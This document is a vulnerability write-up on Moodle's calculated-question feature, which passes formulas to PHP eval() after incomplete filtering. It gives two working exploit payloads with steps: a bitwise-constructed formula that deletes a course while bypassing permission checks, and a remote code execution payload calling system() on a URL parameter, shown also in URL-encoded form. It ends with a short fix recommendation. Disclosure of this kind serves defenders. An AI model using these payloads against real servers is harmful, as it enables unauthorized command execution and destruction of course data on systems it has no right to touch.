The main validation logic is performed by iterating through the formula and identifying the innermost leftmost mathematical expression, which can be distinguished by the absence of nested parentheses. Then this expression is replaced with a 1.0

Finally, after the regular expression returns no additional matches, the formula is considered valid if it only contains safe operators or numbers. The original formula is then passed to eval.
The verification is done by passing the formula to the PHP eval() function after incomplete filtering. There are 2 approaches to bypass the validation logic:

1. The list of explicitly allowed mathematical functions can be used to construct arbitrary function names as strings using bitwise operations, which can be called as variable functions when followed by parentheses. The only identified way to add the required parentheses is to use the built-in variable substitution, thereby allowing an attacker to call arbitrary functions defined in the Moodle context while passing a single numeric argument. The output of the function is disclosed to the attacker.

Replacing variable placeholders like {a} with their values wrapped in (), if we add {a} to the above expression corresponding to 'PRINTF' the result will be 'PRINTF'(1) so it is possible to define an answer formula with two parts: a (function_name) and a {variable}.
2) Undefined variables are not replaced before being passed to the eval() function, so they remain unaffected as part of the formula. Additionally, the sanitization checks for variable names are less strict than the checks implemented for all other parts of the formula. This can be abused to call arbitrary functions when using the PHP object->{"member"} syntax.

Steps to reprocedure

Create a calculated question with a variable, e.g. {a}

Save the question and set the range of the variable values exactly to the course ID which is 3

Save the question, then edit the expression to
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

Saving the modified question will lead to an error, but the question will still be saved. Go back to the question bank and preview the question; the DELETE_COURSE function will delete the course with the specified ID, bypassing all permission checks.

Remote Code Execution

Create a calculated question. Set the answer formula to:
(1)->{system($_GET[chr(97)])}

The expression is modified to 1-0-system($_GET{chr(97)})

Intercept the request and modify it back to (1)->{system($_GET[chr(97)])} %281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

An exception error appears: system(): Argument #1 ($command) cannot be empty

Provide the desired command by adding &a=[arbitrary command] to the URL. The output of the specified system command will be included in the resulting HTTP response.
A=id

A=ls

Recommends

Fix the sanitization function qtype_calculated_find_formula_errors so that /question/type/calculated/questiontype.php always returns a false value if calculated questions are not used.